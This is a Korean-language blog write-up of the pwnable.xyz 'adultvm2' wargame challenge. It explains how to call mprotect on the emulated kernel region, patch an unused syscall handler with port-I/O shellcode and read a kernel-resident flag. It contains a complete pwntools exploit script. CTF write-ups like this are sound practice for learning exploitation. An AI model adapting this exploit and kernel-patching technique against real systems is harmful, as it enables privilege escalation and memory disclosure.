Pwnstar

pwnable.xyz adultvm2 본문

Wargame/pwnable.xyz

pwnable.xyz adultvm2

포너블처돌이 2020. 12. 22. 10:20

후 이제 몇문제 안남았다 조금만 더 힘내보자.

제공되는 파일은 adultvm문제와 동일하다.

mu.mem_write(KERNEL_ADDRESS + 0x5000, flag2)

다른 점은 이번엔 플래그가 커널 영역에 있다는 점인데, 뭐 당연하게도 이 영역에는 읽기 권한이 없을 듯.

그래서 mprotect syscall을 호출해서 읽기 권한을 줘야한다. 인자를 할당해주는 방법은

show_note를 활용하면 된다. 이렇게 mprotect syscall을 호출해서 권한을 할당해주는 것은 어렵지 않았다. 근데 이 다음부터 삽질을 오지게 했음. 하다 안되서 주변 친구에게 도움을 요청했는데, kernel파일을 잘 살펴봐야한다고 한다....

그 전에, 제공되는 문제 파일중에 kernel이라는 파일이 있는데, 요걸 아이다로 열어주려면

loading offset에 커널영역의 base주소를 입력해줘야한다.

이렇게 kernel파일을 열어서 보면 read와 write에 해당하는 부분이 보인다.

그런데 write할 때 보면 거슬리는 비교문이 있다. 인자로 넘겨주는 읽을 주소가 0x800000000000보다 크면 다른 곳으로 점프해버린다. 여게서 rep outsb는 dx에 지정된 특정 포트로 넘어가는 명령어인데,

dx(port)에 0x3f8일때 write가 실행된다. 그래서 결국 저 cmp문을 우회해야 write syscall이 제대로 실행되는 것.

 

여기서 이제 생각할 수 있는 방법이 커널 영역에 코드를 내 맘대로 집어넣는 것이다. kernel에 보면 rax의 값에 따라 분기문이 실행되는데, 앞서 설명한 write나 read를 제외하고는 전부 같은 코드를 가지고 있다.

그래서 이렇게 안쓰이는 곳중 하나를 write함수를 호출해주는 부분으로 바꿔주면 된다. 이걸 가능하게 하기 위해서 mprotect로 커널 영역에 읽기 쓰기 실행 권한을 모두 주자.

맘에드는 0과 1을 제외한 rax값을 하나 주고 그 부분의 코드를 수정해준 다음, 그 rax(syscall 번호)로 flag2가 저장된 부분의 주소를 읽어주면 된다.

 

ex2.py

from pwn import*

context(log_level="debug", arch="amd64", os="linux")

#p = process(["python", "start.py"])
#p = process("./userland")
p = remote("svc.pwnable.xyz", 30048)
script = '''
b*0x00000000040002C7
'''
#gdb.attach(p, script)

syscall = 0x0000000004000338
read = 0x000000000400000f
write = 0x0000000004000102
patched_syscall_addr = 0xFFFFFFFF8100011E
kernel_addr = 0xFFFFFFFF81000000

code = '''
    mov rcx, rdx
    mov rax, rcx
    mov dx, 0x3f8
    rep outsb
    iret
'''
code = asm(code)

for i in range(0, 9):
    p.sendlineafter("Exit\n", "1")
    p.sendlineafter(": ", str(i))
    p.sendlineafter(": ", "A"*8)


log.info("step 1")
p.sendlineafter("Exit\n", "1")
p.sendlineafter(": ", "9")
payload = "B"*8
payload += p64(0x4100380)
payload += p64(0x28)
payload += p64(0x1) * 2
payload += p64(read)

p.sendlineafter(": ", payload)

p.sendlineafter("Exit\n", "2")
p.sendlineafter(": ", "0")

#setting mprotect
log.info("setting mprotect")
mpro = p64(0xa)
mpro += p64(kernel_addr)
mpro += p64(0x1000)
mpro += p64(0x7)
mpro += p64(syscall)

sleep(0.5)
p.send(mpro)

p.sendlineafter("Exit\n", "2")
p.sendlineafter(": ", "0")


#patch code
p.sendlineafter("Exit\n", "1")
p.sendlineafter(": ", "9")
log.info("patch code")
payload2 = "C"*8
payload2 += p64(0) * 2
payload2 += p64(patched_syscall_addr)
payload2 += p64(len(code))
payload2 += p64(syscall)

p.sendlineafter(": ", payload2)

p.sendlineafter("Exit\n", "2")
p.sendlineafter(": ", "0")

p.send(code)


#read flag2 with patched syscall
p.sendlineafter("Exit\n", "1")
p.sendlineafter(": ", "9")

payload3 = "D"*8
payload3 += p64(6)
payload3 += p64(1)
payload3 += p64(0xFFFFFFFF81005000)
payload3 += p64(0x20)
payload3 += p64(syscall)

p.sendlineafter(": ", payload3)

p.sendlineafter("Exit\n", "2")
p.sendlineafter(": ", "0")


p.interactive()

 

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz note v5  (1) 2020.12.23
pwnable.xyz adultvm3  (0) 2020.12.22
pwnable.xyz adultvm  (0) 2020.12.21
pwnable.xyz note v4  (0) 2020.12.20
pwnable.xyz fishing  (0) 2020.12.19
Comments